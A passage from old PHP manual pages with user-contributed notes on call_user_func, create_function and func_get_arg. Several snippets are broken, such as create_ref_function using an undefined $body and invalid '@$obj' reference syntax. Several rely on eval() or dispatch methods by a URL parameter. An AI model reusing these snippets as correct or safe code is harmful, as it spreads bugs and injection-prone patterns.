$v1 = 'MyClass';
$m1 = 'method';
$v1::$m1();          // syntax error -- not permitted.

The following, however, DOES work quite well, and is hopefully slightly faster than eval() ...

$ar = array($v1, $m1);

call_user_func($ar);    // works teh awes0me!!1!

[I am, however, presuming PHP5 here ...]
zeisss at web dot de
23-Jun-2005 10:34
-------------------------------------------
Hey

I'm struggling to think of a practical use for this function that can't be duplicated with variable functions. The only use I can think of is when calling variable functions when your variable need modification:
--------------------------------------------

I tried to call nl2br() with variable functions. Didn't work. But call_user_func worked. Dunno why, just for info.
FRANK at ETHISOFT dot NL
08-Jun-2005 07:36
You should avoid this function and use variable function calls instead!
The main reason for this is the fact that you will generate twice as many function calls as actually needed.
Thus, your server will encounter twice the load of function calls.

You people should not want this!
@ your service!
info at webseiteselberpflegen dot de
19-May-2005 04:00
It seems like call_user_func() can not be used to create Objects via the new Command.

The Following example dosen't work:
<?
  include_once(class_".$type.".php");
  $object = new call_user_func ('bdv_'.$type);
?>

But this works:
<?
   include_once(class_".$type.".php");
   $constr = 'bdv_'.$type;
   $object = new $constr();
?>
d at safetypub dot org
16-Mar-2005 12:43
callbacks, this par excellence, goes with set error handler, everywhere you'ren't sure of extensio de intensionibus (animis alii).

<?php

$checkMe = null;
$detail = array();
set_error_handler("imErrant");

array_shift($argv);
if ($argc == 1){
       call_user_func(strtolower($argv[0]));
} else if($argc == 2){
       call_user_func(strtolower($argv[0]), $argv[1]);
}
else
       call_user_func_array(strtolower($argv[0]),array_shift($argv));

if($checkMe)var_export($detail);

function imErrant($no, $str, $file, $line)
{
   global $checkMe, $detail;
   $checkMe = $no;
   $detail = array($str, $file, $line);
}
?>
25-Feb-2005 11:46
<?php
/*
   A very simple event handler dispose and change the latest one I did
*/

class Duke
{
//public:
   var $m_pRaiser;
   var $m_strRaiserFun;
   var $m_objArgs;
//public:
   function Duke(  $pRaiser,
           $strRaiserFun,
           $objArgs )
   {
       $this ->m_pRaiser      = $pRaiser;
       $this ->m_strRaiserFun = $strRaiserFun;
       $this ->m_objArgs      = $objArgs;

   }//end of constructor

}//end of class Duke

class A
{
//protected:
   function OnEventHandler( $sender, $args )//virtual
   {
       $sender ->SayHello();
   }//end of OnEventHandler( $sender, $args )

//public:
   function OnEvent( $pDuke = null )
   {
       if( $pDuke == null )
       {
           call_user_func( array( &$this, "OnEventHandler" ), $this, null );
           return;
       }

       call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );

   }//end of  OnEvent( $pDuke )

   function SayHello()//virtual
   {
       echo "A::SayHello" . "<br>";
   }//end of SayHello()

}//end of class A

class B extends A
{
//public:
   function SayHello()//override
   {
       echo "B::SayHello" . "<br>";
   }//end of SayHello()

}//end of class B

//////////////////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "OnEventHandler", null );

$b ->OnEvent();
$b ->OnEvent( $pDuke );
?>
zxy at estec-jp dot com
24-Feb-2005 06:57
A simple event handler dispose released by useful callback in PHP 4.x

<?php
class Duke
{
//public:
   var $m_pRaiser;
   var $m_strRaiserFun;
   var $m_objArgs;
//public:
   function Duke(  $pRaiser,
           $strRaiserFun,
           $objArgs )
   {
       $this ->m_pRaiser      = $pRaiser;
       $this ->m_strRaiserFun = $strRaiserFun;
       $this ->m_objArgs      = $objArgs;

   }//end of constructor

}//end of class Duke

class A
{
//protected:
   function OnEventHandler( $sender, $args )//virtual
   {
       $sender ->SayHello();
   }//end of OnEventHandler( $sender, $args )

//public:
   function OnEvent( $pDuke )
   {
       call_user_func( array( $pDuke ->m_pRaiser, $pDuke ->m_strRaiserFun ), $pDuke ->m_pRaiser, $pDuke ->m_objArgs );
   }//end of  OnEvent( $pDuke )

   function SayHello()//virtual
   {
       echo "A::SayHello" . "<br>";
   }//end of SayHello()

}//end of class A

class B extends A
{
//public:
   function SayHello()//override
   {
       echo "B::SayHello" . "<br>";
   }//end of SayHello()

}//end of class B

///////////////////////////////////////////////////////////
//Main import to test
//
$a = &new A();
$b = &new B();

$pDuke = &new Duke( $b, "SayHello", null );
$b ->OnEvent( $pDuke );
?>
rob at PLEASEDONT dot digital-crocus dot SPAMME dot com
18-Feb-2005 10:16
Hey

I'm struggling to think of a practical use for this function that can't be duplicated with variable functions. The only use I can think of is when calling variable functions when your variable need modification:

<?php

function hey1 { echo "hey1"; }
function hey2 { echo "hey2"; }
function hey3 { echo "hey3"; }

for ($n = 1; $n <= 3; $n++) {

  // variable variables:

  $func = "hey$n";
  $$func();

  // call_user_func():

  call_user_func("hey$n");
}

?>

call_user_func() is one less line, however I would always use variable variables for readability. Are there any more practical uses I'm overlooking?
bostjan dot skufca at domenca dot com
15-Dec-2004 04:33
This is the CORRECTED VERSION of previous note. After playing a while I realised that objects are not passed by reference implicitly, you have to do it on your own, so:

call_user_func(array($objectBar, 'methodFoo')); // case sensitive

first duplicates object $objectBar (internally) and only then calls it's methodFoo. This kind of use is discouraged as it may result in "unpredicted behaviour".

Correct version is here.
call_user_func(array(&$objectBar, 'methodFoo')); // case sensitive
(note the reference operator).

--- and the corrected note is here ---

I couldn't find any simple list of available callback variations, so I made one. It is tested on PHP 4.3.9 only.

If you need to call ordinary function:
call_user_func('funcFoo');

If you need to call CLASS method (NOT object):
call_user_func(array('classBar', 'methodFoo')); // case insensitive

If you need to call OBJECT method:
call_user_func(array(&$objectBar, 'methodFoo')); // case sensitive

If you need to call method of object of object:
call_user_func(array(&$objectBar->objectTor, 'methodFoo')); // case sensitive

If you need to call object method from within the very same object (NOT CLASS!):
call_user_func(array(&$this, 'methodFoo'));
07-Oct-2004 03:23
If you are trying to instantiate an object from a class whose name is dynamic, you WILL NOT be able to do this with call_user_func() and I do not suggest that you do it with eval(). The way to do it is actually much simpler than i thought. As far as i know this works in PHP 4 and 5:

<?PHP
class foo {
 var $boo;
   function foo( $someVal ) {
     $this->boo = $someVal;
   }
}

$ClassToUse = "foo";
$bar = new $ClassToUse('test');
echo $bar->boo;
?>
arjini at mac dot com
30-Mar-2004 09:04
Some of the wierder examples below confused me, and made me think that the following would work (but it does!).

<?

class barber{
   function shop($one,$two,$three,$four='quartet'){
       echo $one.','.$two.','.$three.','.$four;
   }
}

$bsq = new barber;
call_user_func(array(&$bsq,'shop'),'one','two','three');

/* Output = one,two,three,quartet */

class bigBarber{
   var $quartet;
   function bigBarber(){
       $this->quartet = 'four';
   }
   function shop($one,$two,$three,$five='quintet'){
       echo $one.','.$two.','.$three.','.$this->quartet.','.$five;
   }
}

$bbsq = new bigBarber();
call_user_func(array(&$bbsq,'shop'),'one','two','three');

/* Output = one,two,three,four,quintet */

?>
Kris Koskelin
23-Jan-2004 07:21
I was trying to use this function to call a method of an already-instantiated object.  I needed to do this with the object itself, not simply call the class' method.

To accomplish this, I really avoided this particular function altogether like this:
<?
if ( method_exists($my_obj, $action) ){
     return $my_obj->{$action}();
}
?>
I hope someone else finds this useful.  Note that doing this allows you to pass params to the function more-or-less in the same way you would to any other class method.
Michele.Manzato at verona.miz.it
29-Sep-2003 11:49
With overload()ed classes call_user_func_* calls real class methods only. If the method does not exist then PHP does not try with the "__call()" magic method (at least until PHP 4.3.3). See this:

<?php
class A
{
   function A() {}

   function __call($method, $args, &$ret) {
       echo "__call(): You called '{$method}()'<br>\n";
       return true;
   }

   function regular() {
       echo "You called 'regular()'<br>\n";
   }
};
overload("A");

$a = new A;

$a->regular();                          // Works, calls regular()
call_user_func(array(&$a, "regular"));  // Works, calls regular()

$a->hello();                            // Works, calls __call()
call_user_func(array(&$a, "hello"));    // Does NOT work!
?>
Carl
29-Jul-2003 02:53
I had a problem where I wanted to parameterize a callback. The end called was in an external class, but I needed to save some state for the callback that didn't make sense to keep in the original object, as it might change from call to call...

<?php
class foo
{
   function foo()
   {
       $str = "Hello There";

       $str2 = "Carl";

       $that =& new holder($str);

       call_user_func(array(&$that, 'callback'), $str2);
   }
}

class holder
{
   function holder($aParam)
   {
       $this->param = $aParam;
   }

   function callback($aStr)
   {
       echo "A=$this->param, B=$aStr\n";
   }
}
?>
matt at tasonline dot com
24-Nov-2002 04:24
On PHP 4.2.3 (not sure about older releases) you can send objects by reference by sending the reference from call_user_func()

<?php
function myFunction(@$obj)
{
   $obj->doThis('hello');
   return 0;
}

$myObj = new CObject();

call_user_func('myFunction', @$myObj);
?>
phil at gettcomm dot com
22-May-2002 10:51
if you need to get a reference back from a method, you can work around call_user_func()'s shortcomings like this:

<?

$globalObj;

class tClass
{
   function &instance()
   {
       global $globalObj;
       if(!is_object($globalObj))
       {
           $globalObj = new tClass();
       }
       return $globalObj;
   }
}

$classname = "tClass";
# calling the function this way won't
# return a reference.
$test = &call_user_func(array($classname,"instance"));
# but if we call it again with the instance
# that we just got, it'll be the right
# one
$test = &$test->instance();
# so test is now a reference to $globalObj, just like it should be

# let's verify it:
$test->blah=1;

echo "<pre>";
print_r($test)."\n";
print_r($globalObj);
echo "</pre>";
# there, now it behaves just like you'd expect

?>
teleware at mind dot net
09-Apr-2002 04:34
I ran into some quirky behavior using call_user_func with an object.  The function parseAction() below lets me call any of my object's methods by passing the name of the method into a page (e.g. http://xyz.com/page.php?action=login).

<?php
class MyClass {

   function parseAction($actionKey)
   {
       global $METarget;

       if(method_exists($this,$actionKey))
       {
           call_user_func(array(&$this,$actionKey));
           return;
       }
       else
       {
           exit("Unknown action keyword: $actionKey");
       }
   }

   ...
   // other methods
   ...
}
?>

I found that my member variables weren't always being updated correctly.  The numberic values were preserved but the string variables retained their old value.  The solution was to put the reference operator '&' in front of the object's variable.  In this case it's $this because I'm calling it from within the object but this was also true when calling parseAction from an instanciated object e.g. call_user_func(array(&$myObject,$actionKey))
dougqh at hotmail dot com
08-Mar-2002 09:16
The previous note I posted had an error in the source code.  That has been corrected in this note.

Note, that returning by reference does not work properly when the function
is called using call_user_func.

This example illustrates the problem...

$globalVar = 0;

function &staticFunction()
{
   global $globalVar;

   return $globalVar;
}

$result =& call_user_func( "staticFunction" );

$result = 3;

print "result:" . $result . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";

$result2 =& staticFunction();

$result2 = 3;

print "result2: " . $result2 . "<br/>\n";
print "globalVar: " . $globalVar . "<br/>\n";

The above code results in the following output ...
Note that $result is not a reference to $globalVar.

result:0
globalVar: 0
result2: 3
globalVar: 3

Also, the use of call_user_method is now deprecated in favor of passing
array( &$object, $method ) as the function to call_user_func.  This is
reported when error reporting is set to E_ALL in the latest versions of
PHP.
danyloco at yahoo dot com
18-Jul-2001 07:31
I was trying to call multiple functions within a class, and after a brain frying experience this is what came out... hope it helps:

<?php
class Foo {
 function hey1($id){echo "In hey1";}
 function hey2($id){echo "In hey2";}
 #... and so forth ...
 function runtest($id) {
   #the fun part :)
   for($i=1; $i<=2; $i++) {
     $fp = "hey".$i;
     $this->$fp($id);
}
}
}
?>

It worked like a charm :).
dayiogluNOSPAM at metu dot edu dot tr dot NOSPAM
12-Mar-2001 07:03
Happily call_user_func can now call
methods of some existing objects; added
to the CVS Fri Mar  9 18:09:26 2001 EDT.

Below is an example:

<?php

class provider {
  function myfunction($x) {
   echo "burak was at $x\n";
  }
}

class dispatcher {
  function process($p2,$p3) {
   call_user_func($p2, $p3);
  }
}

function independent()
{
  echo "just a test";
}

$x= new provider();
$y= new dispatcher();

$y->process(array($x,'myfunction'),"conference");
$y->process(independent,"");

?>
ceco at noxis dot net
29-Nov-2000 01:01
I find it easier in a lot of cases to use something like that
<?
function test($p1){
  echo $p1."<br>";
  return $p1/2; // just an example
}

$func = "test";
echo $func(6);
?>
tetherow at nol dot org
30-Aug-2000 04:39
Trying to call a class method with call_user_function? call_user_method doesn't really work since you need an object to pass to the call.  You can get around it by creating a 'place holder' instance and call_user_method.
andreyhristov at yahoo dot com
22-Aug-2000 09:09
Let say we construct somehow the name of the function. In some cases we can use nested  'switch'  but the alternative is to to use for and parse a string to construct  the  function  name, after than  we also can construct and the
parameter(s) for it. It  is like using of eval. I use it in  one of my projects to construct a name of nested array like
$ar['1999'['july']['29']['19'] , etc. the problem is in that I'm parsing a string to construct the name. If I've {1:2:3}  the array name  will be $ar['1']['2']['3'] but if i've
{1:2:3:4:5} it will  be $ar['1']['2']['3']['4']['5'].  Eval is the only way (very hard because of characters escaping is needed)  to do it. So this function is of the type of EVAL().
USE IT wherever your script is  'self-modified';
add a note add a note

后退 | 起点 | 前进
call_user_func_array | 上一级 | create_function


create_function

(PHP 4 >= 4.0.1, PHP 5)

create_function -- Create an anonymous (lambda-style) function

Description

string create_function ( string args, string code )

Creates an anonymous function from the parameters passed, and returns a unique name for it. Usually the args will be passed as a single quote delimited string, and this is also recommended for the code. The reason for using single quoted strings, is to protect the variable names from parsing, otherwise, if you use double quotes there will be a need to escape the variable names, e.g. \$avar.

You can use this function, to (for example) create a function from information gathered at run time:

例子 1. Creating an anonymous function with create_function()

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
// outputs
// New anonymous function: lambda_1
// ln(2) + ln(2.718281828459) = 1.6931471805599
?>

Or, perhaps to have general handler function that can apply a set of operations to a list of parameters:

例子 2. Making a general processing function with create_function()

<?php
function process($var1, $var2, $farr)
{
    foreach ($farr as $f) {
        echo $f($var1, $var2) . "\n";
    }
}

// create a bunch of math functions
$f1 = 'if ($a >=0) {return "b*a^2 = ".$b*sqrt($a);} else {return false;}';
$f2 = "return \"min(b^2+a, a^2,b) = \".min(\$a*\$a+\$b,\$b*\$b+\$a);";
$f3 = 'if ($a > 0 && $b != 0) {return "ln(a)/b = ".log($a)/$b; } else { return false; }';
$farr = array(
    create_function('$x,$y', 'return "some trig: ".(sin($x) + $x*cos($y));'),
    create_function('$x,$y', 'return "a hypotenuse: ".sqrt($x*$x + $y*$y);'),
    create_function('$a,$b', $f1),
    create_function('$a,$b', $f2),
    create_function('$a,$b', $f3)
    );

echo "\nUsing the first array of anonymous functions\n";
echo "parameters: 2.3445, M_PI\n";
process(2.3445, M_PI, $farr);

// now make a bunch of string processing functions
$garr = array(
    create_function('$b,$a', 'if (strncmp($a, $b, 3) == 0) return "** \"$a\" '.
    'and \"$b\"\n** Look the same to me! (looking at the first 3 chars)";'),
    create_function('$a,$b', '; return "CRCs: " . crc32($a) . " , ".crc32(b);'),
    create_function('$a,$b', '; return "similar(a,b) = " . similar_text($a, $b, &$p) . "($p%)";')
    );
echo "\nUsing the second array of anonymous functions\n";
process("Twas brilling and the slithy toves", "Twas the night", $garr);
?>

and when you run the code above, the output will be:

Using the first array of anonymous functions
parameters: 2.3445, M_PI
some trig: -1.6291725057799
a hypotenuse: 3.9199852871011
b*a^2 = 4.8103313314525
min(b^2+a, a^2,b) = 8.6382729035898
ln(a/b) = 0.27122299212594

Using the second array of anonymous functions
** "Twas the night" and "Twas brilling and the slithy toves"
** Look the same to me! (looking at the first 3 chars)
CRCs: -725381282 , 1908338681
similar(a,b) = 11(45.833333333333%)

But perhaps the most common use for of lambda-style (anonymous) functions is to create callback functions, for example when using array_walk() or usort()

例子 3. Using anonymous functions as callback functions

<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>

outputs:

Array
(
  [0] => the mango
  [1] => a mango
  [2] => that mango
  [3] => this mango
)

an array of strings ordered from shorter to longer

<?php

$sv = array("small", "larger", "a big string", "it is a string thing");
print_r($sv);

?>

outputs:

Array
(
  [0] => small
  [1] => larger
  [2] => a big string
  [3] => it is a string thing
)

sort it from longer to shorter

<?php

usort($sv, create_function('$a,$b','return strlen($b) - strlen($a);'));
print_r($sv);

?>

outputs:

Array
(
  [0] => it is a string thing
  [1] => a big string
  [2] => larger
  [3] => small
)

add a note add a note User Contributed Notes
info at adaniels dot nl
11-May-2006 06:42
Note that using __FUNCTION__ in a an anonymous function, will always result '__lambda_func'.

<?php
   $fn = create_function('', 'echo __FUNCTION__;');
   $fn();
   // Result: __lambda_func
   echo $fn;
   // Result: lambda_2 (the actual first character cannot be displayed)
?>

This means that a anonymous function can't be used recursively. The following code (recursively counting to 10) results in an error:
<?php
   $fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func(__FUNCTION__, $a++);');
   $fn2(1);
   // Warning: call_user_func(__lambda_func) [function.call-user-func]: First argument is expected to be a valid callback in T:/test/test.php(21) : runtime-created function on line 1
?>
josh at janrain dot com
04-Mar-2006 02:21
Beware! This is merely a convenience function that generates a unique name for a regular function. It is *not* a closure or even an anonymous function. It is just a regular function that gets named for you.
Joshua E Cook
20-Jan-2006 08:43
Functions created by create_function() cannot return a value by reference.  The function below creates a function that can.  The arguments are the same as create_function().  Note that these arguments are passed, unmodified, to eval(), so be sure that data passed in is sanitized.

<?php
/**
 * create_ref_function
 * Create an anonymous (lambda-style) function
 * which returns a reference
 * see http://php.net/create_function
 */
function
create_ref_function( $args, $code )
{
   static $n = 0;

   $functionName = sprintf('ref_lambda_%d',++$n);

   $declaration = sprintf('function &%s(%s) {%s}',$functionName,$args,$body);

   eval($declaration);

   return $functionName;
}
?>
boards at gmail dot com
01-Jan-2006 03:18
If you were checking to see if a function is made properly, this would be a better way of checking:

<?php
$fnc = @create_function('$arg1,$arg2,$arg3', 'return true;');
# make that function whatever you want
if (empty($fnc)) {
  die('Could not create function $fnc.');
}

# although, the follow will NOT work
if (empty(create_function('$arg', 'return $arg;'))) {
  die('Could not create anonymous function.');
}
# you would get an error regarding not being able to use a
# return value in writeable context (i.e. a return value is
# a const in C, and the function empty() doesn't use a
# const void* parameter
?>
komori_san at hotmail dot com
04-Nov-2005 11:42
Checking if the function was actually created use something like this:

$newfunc=@create_function($args, $code);
if ($newfunc=='')
{
  // Failed
}
else
{
  // Worked
}
david [at] davelee.com.au
13-Apr-2005 05:15
# dynamically create html helper functions which take the args
# $string_contents, $optional_hash_of_options
# and return the contents wrapped in a tag

$html_funcs = Array(
   'table',
   'tr',
   'th',
   'td',
   'div',
   'span',
   'pre',
   'strong',
   'em'
);
$args = '$html, $options=Array()';
$code = '
  $o = "";
  foreach ($options as $a => $b) {
   $o .= " $a=\"$b\"";
  }
  return "<$tag$o>$html</$tag>";
';
foreach ($html_funcs as $key => $tag) {
   ${$tag} = create_function($args, "\$tag = '$tag'; $code");
}

# usage example:

print $table(
  $tr($th('heading').$td('this is the cell content')),
  Array('style'=>'border: 1px solid silver;')
);
endofyourself at yahoo dot com
07-Oct-2004 03:17
You really should avoid using this as well as you should avoid using eval(). Not only will there be a performance decrease but can it lead to obfuscation and bad coding habits. There is almost always an alternative solution to self modifying code.
MagicalTux at FF.ST
10-Mar-2004 02:25
neo at gothic-chat d0t de wrote :
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

Not really...

In fact, PHP can not "unassign" functions. So if you create a function, it won't be deleted until the end of the script, even if you unset the variable containing its name.

If you need to change a part of a function everytime you run a loop, think of a way to make a more general function or try using eval :) (functions are made to be re-used. If you need to run your own piece of code once, eval is much better).
neo at gothic-chat d0t de
21-Jan-2004 12:54
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

I used a function like this to replace special characters in links with their htmlentities:
<?php
$text = preg_replace_callback (
   "/(<(frame src|a href|form action)=\")([^\"]+)(\"[^>]*>)/i",
   create_function (
       '$matches',
       'return $matches[1] . htmlentities ($matches[3]) . $matches[4];'
   ),
   $text);
?>

After 1000 calls, the process used about 5MB more than before. In my situation this boosted up the memory-size of one PHP-process up to over 100MB!

In such cases, better store the function in a global variable.
nospam at fiderallalla dot de
08-Aug-2003 09:39
Sometimes it may be useful to create functions in a dynamic environment
(f. e. in a daemon-like php script).

Normally declaring a function must be done once, which results in the problem,
that in this special case modifying a function wouldn't have an effect until the script is reloaded.

Maybe this code snipplet is useful 4 u.

File: "functions.inc"
<?php
function test($str) {
   echo $str;
}
?>

Dynamic FunctionHandler:
<?
$FileName = "functions.inc";
$FileHandle = fopen($FileName,"r");
$FileContent = fread($FileHandle,filesize($FileName));
fclose($FileHandle);

preg_match_all("#function\ ?([a-zA-Z0-9-_]*)\ ?\((.*?)\)\ ?\{(.*?)\}#mixse",$FileContent,$Matches);
if ( is_array($Matches) && isset($Matches[0]) && count($Matches[0]) > 0  ) {
     foreach ( $Matches[0] as $key=>$val ) {
       $$Matches[1][$key] = create_function($Matches[2][$key],$Matches[3][$key]);
   }
}
?>

The Test:
<?php echo $test("test"); ?>
.. will echo "test";

Hans Kuhlen
DB on music_ml at yahoo dot com dot ar
02-Apr-2003 08:58
What I posted above is logical because anonymous functions don't inherit the method scope. You'll have to do this:

<?php
class AnyClass {

 var $classVar = 'some regular expression pattern';

 function classMethod() {

   $_anonymFunc = create_function( '$arg1, $arg2', 'if ( eregi($arg2, $arg1) ) { return true; } else { return false; } ' );

   $willWork = $_anonymFunc('some string', $classVar);

 }

}
?>
DB on music_ml at yahoo dot com dot ar
02-Apr-2003 06:04
Apparently you can't refer to a class variable from an anonymous-defined function, inside a class method, using the $this keyword:

<?php
class AnyClass {

  var $classVar = 'some regular expression pattern';

  function classMethod() {

   $_anonymFunc = create_function( '$arg', 'if ( eregi($this->classVar, $arg) ) { return true; } else { return false; } ' );

   $wontWork = $_anonymFunc('some string');

  }

}
?>

This would throw a warning on 'undefined variable: this'...
listes at brissambre dot org
15-Aug-2002 01:22
[Editor's note: Only regular variables are serialized (scalars, arrays, objects), and as lambda functions are not stored as any of those types, it is not saved during session serialization.]

Warning, it seems that you can't store such lambda functions in Sessions, because only the function's name will be stored, not the function itself.
So don't save the function but only it's code and call create_function each time the script is called.
ben-php at bacarisse dot btinternet dot co dot uk
27-Jul-2001 04:33
A nice technique for building complex search patterns on lists, files or whatever is to build function combining functions like this:

<?php
function _not_($f) {
  return create_function('$x',
   "return !$f(\$x);");
}

function _and_($f, $g) {
  return create_function('$x',
   "return $f(\$x) && $g(\$x);");
}
?>

(similarly for _or_ and others...).  Once you've built your matching primitives you can then build more complex matches into your script.

Unfortunately, as explained in (closed) bug #10721, the function names returned by create_function have a null byte at the front and this causes a parse error.

You can fix the definition like this:

<?php
function _not_($f) {
  $f = substr($f, 1);
  return create_function('$x',
   "return !call_user_func(chr(0).'$f', \$x)");
}
?>

The expression that re-builds the function name avoid the null being literally in the parsed string.  If there is a better fix, please let me know.
x-empt[a_t]ispep.cx
06-Jul-2001 02:41
Create_function enables the ability to change the scope of functions.  You might have a class where it needs to define a GLOBAL function.  This is possible, like:

<?php
       class blah {
               function blah() {
                       $z=create_function('$arg1string','return "function-z-".$arg1string;');
                       $GLOBALS['z']=$z;
               }
       }
       $blah_object=new blah;

       $result=$GLOBALS['z']('Argument 1 String');
       echo $result;
?>

Making a function escape it's defined scope can be useful in many situations.
maxim at maxim dot cx
28-Apr-2001 06:26
for those who want to assign it's own name to a function consider this code:

<?php
$fname = 'hello';

$func = sprintf('
   function %s($v="") {
       Return "$v<BR>";
   }
',
$fname
);

eval($func);
echo $fname('Please print it.... please....');
?>

what it does is,
: Creats a function as a string;
: Replaces the function name with $fname value;
: Converts the string into a REAL php code with eval()
: Calls the function using the variable function as declared before ($fname);

Simple, isn't it?

Can work well as an abstraction layer for portability and/or compatibility purposes

Maxim Maletsky
maxim@maxim.cx // PHPBeginner.com
mrben at free dot fr
21-Feb-2001 12:33
Here is another tricky but usefull techynote, good for adding "plugin" to a existing class :

<?

class Hoge {
   var $lamda;
   var $text;

   function set($lamda)
   {
       $this->lamda = $lamda;
   }

   function callLamda()
   {
       $func = $this->lamda;
       return $func($this);
   }

   function get()
   {
       return $this->text;
   }
}

$newfunc = create_function('&$class', 'echo $class->get();' );

$h = new Hoge;
$h->text = "Hi there !";
$h->set($newfunc);
$h->callLamda();

?>
koyama at hoge dot org
14-Dec-2000 08:22
How do you use function which is created by create_function() as class method?

<?php
class Hoge {
  var $lamda;
  function set($lamda) {
   $this->lamda = $lamda;
  }
  function callLamda() {
   $func = $this->lamda;
   return $func();
  }
}

$newfunc = create_function('', 'echo "hoge<br>\n";');

$h = new Hoge;
$h->set( $newfunc );
$h->callLamda();
?>

It works fine. :-)
add a note add a note

后退 | 起点 | 前进
call_user_func | 上一级 | func_get_arg


func_get_arg

(PHP 4, PHP 5)

func_get_arg -- Return an item from the argument list

Description

mixed func_get_arg ( int arg_num )

Returns the argument which is at the arg_num'th offset into a user-defined function's argument list. Function arguments are counted starting from zero. func_get_arg() will generate a warning if called from outside of a function definition. This function cannot be used directly as a function parameter. Instead, its result may be assigned to a variable, which can then be passed to the function.

If arg_num is greater than the number of arguments actually passed, a warning will be generated and func_get_arg() will return FALSE.

注: 因为本函数依赖于当前域来决定参数细节，因此不能用作函数参数。如果必须要传递这个值，将结果赋给一个变量，然后传递该变量。

<?php
function foo()
{
     $numargs = func_num_args();
     echo "Number of arguments: $numargs<br />\n";
     if ($numargs >= 2) {
     echo "Second argument is: " . func_get_arg(1) . "<br />\n";
     }
}

foo (1, 2, 3);
?>

func_get_arg() may be used in conjunction with func_num_args() and func_get_args() to allow user-defined functions to accept variable-length argument lists.

add a note add a note User Contributed Notes
bishop
11-Dec-2004 01:58
Regarding a "deferment" operator for dvogel at ssc dot wisc dot edu, pick your poison:

<?php
// using ternary operators
function pick($a,$b) { return (isset($a) ? $a : $b); }
$a = (pick($b,$c) ? pick($c,$d) : null);
?>

<?php
// using varargs function
function pick($a) {
   $argc = func_num_args();
   for ($i = 0; $i < $argc; $i++) {
       $arg = func_get_arg($i);
       if (! is_null($arg)) {
           return $arg;
       }
   }

   return null;
}

$a = pick($b, $c, $d);
?>
mw atto lanfear dotto com
08-Dec-2004 06:56
func_get_arg() does not appear to be allowed to be used as a function argument itself within class constructors in PHP 5.0.2 (wonk-ay!!!):

<?php

class ABC
{
   function __construct()
   {
       foreach (func_get_args() as $name => $value)
       {
   echo <<<EOT
    <br/>
   $name : $value <br/>
   <br/>

EOT;
       }
   }
}

class DEF extends ABC
{
   function __construct()
   {
       parent::__construct(func_get_arg(0),
                                   func_get_arg(1),
                                   func_get_arg(2));
   }
}

$def = new DEF(123123, "asdfasdf", "blahblahblah");

?>

The above script generates:

Fatal error: func_get_arg(): Can't be used as a function parameter in c:\Inetpub\wwwroot\phpwasrc\chapter10\xxx.php on line 23

There are, however, no problems when passing these as parameters to regular functions.
dvogel at ssc dot wisc dot edu
22-Oct-2004 05:54
I've always wants a deferment or cascade operator so that I could use this expression:

  $a = $b ## $c ## $d;

and everything to the right of the assignment operator would evaluate to the left-most value that is not null. It is essentially a collapsed version of this:

  if ($b) {
   $a=$b;
  } else {
   if($c) {
     $a=$c;
   } else {
     if ($d) {
       $a = $d;
     } else {
       $a = null;
     }
   }
  }

In leiu of this, I'm trying to make a function that takes a variable number of arguments and returns the first that is not null. I wan't to use this on some large-ish arrays, so I'd like to pass these by reference. However, call-time reference passing is disabled (and should be, imo) in newer versions of PHP. I'd like suggestions on how to pass both references and values to this function.

The only solution I can think of is setting variables to the reference of the array first. e.g.

$a = array( ... );
$b = 0;
$c = &a;
first_not_null($a, $b);

Does anyone know a better solution?
harald at triptop dot org
15-Sep-2004 06:09
func_get_arg is useful, if you know the exact order of the arguments, or if the order doesn't matter. i use this function (or func_get_args) for example to create own sprintf wrappers.

if you want to pass a variable number of arguments to a function it's in my opinion better, to submit it as a key/value array e.g.:

<?php
functioncall(array("param1" => "...",...));
?>

and 'extract' the array inside the function. you don't need to do tricks like type-checking for parameter-recognition, in this case.
anders at ingemann dot fakestuff dot de
04-Jun-2004 09:16
I actually think that there is need for such "do absolutely everything" functions. I use them mostly as tools for rapid prototyping.
And there is a method with which you may be able to pass several strings to a function: ereg();
Another use for such functions is to create little code snippets for other people out there. They won't have to edit the function any longer if they do not use a parameter. They just don't name it when calling the function.
This results in allrounder functions that are very robust in their use.Normally you just have a little code snippet (e.g. ip-blocking snippets). Through this type of programming you have whole functions.
27-May-2004 12:29
very clever unless you need to specify at least two parameters of the same type - which is which? Obviously, you may decide on some defaults, but then the whole thing gets ugly. What if you need a string ONLY if a boolean was also supplied? The type-checking becomes the main focus of your function, shit. For the sake of clean code you should specify a clean interface to your functions, and decide on what and where is passed as an argument. Yes, you can always code a do_absolutely_everything() function, but is there any sense?
anders at ingemann dot fakestuff dot de
30-Apr-2004 07:18
A pretty cool thing for user defined functions is only to submit the needed parameters. If you call a function that has three optional parameters you have to define the two first ones (even if they should stay like the defined standard in the function) before your are able to tell the function what the third important parameter is. Instead you might as well just find out by the pattern or the type of the submitted parameter which variable it should be assigned to.
like this:
<?
function whatever()
{
   for($i=0;$i<func_num_args();$i++)
   {
       if(is_bool(func_get_arg($i))) $log_ip=func_get_arg($i);
       if(is_int(func_get_arg($i))) $limit=func_get_arg($i);
       if(is_string(func_get_arg($i))) $name=func_get_arg($i);
   }
}
?>
Now you can call the function with any parameter you want.
e.g.:
<? whatever(3600); ?>
in that case $limit would be defined with 3600.

It doesn't matter if you do this:
<? whatever(3600,false); ?>
or this:
<? whatever(3600,"blaaah"); ?>
or this:
<? whatever("blaaah",true,3600); ?>

You may also use ereg(). Through that you're able to use more than one parameter as a string.
hmm probably ereg() is the best solution...
never mind.
just check it out ;-)
mightye (at) mightye (dot) org
13-Mar-2004 01:45
func_get_arg() returns a *copy* of the argument, to my knowledge there is no way to retrieve references to a variable number of arguments.

I have a module system in my game at http://lotgd.net where I'd like to be able to pass a variable number of arguments to functions in a module, and pass them by reference if the module asks for it by reference, but you can't accept optional parameters as references, nor can you retrieve the reference on a variable number of arguments.  Looks like my modules will have to do with out the ability to accept parameters to their functions by reference.
martin at classaxe dot com
08-Jun-2002 01:55
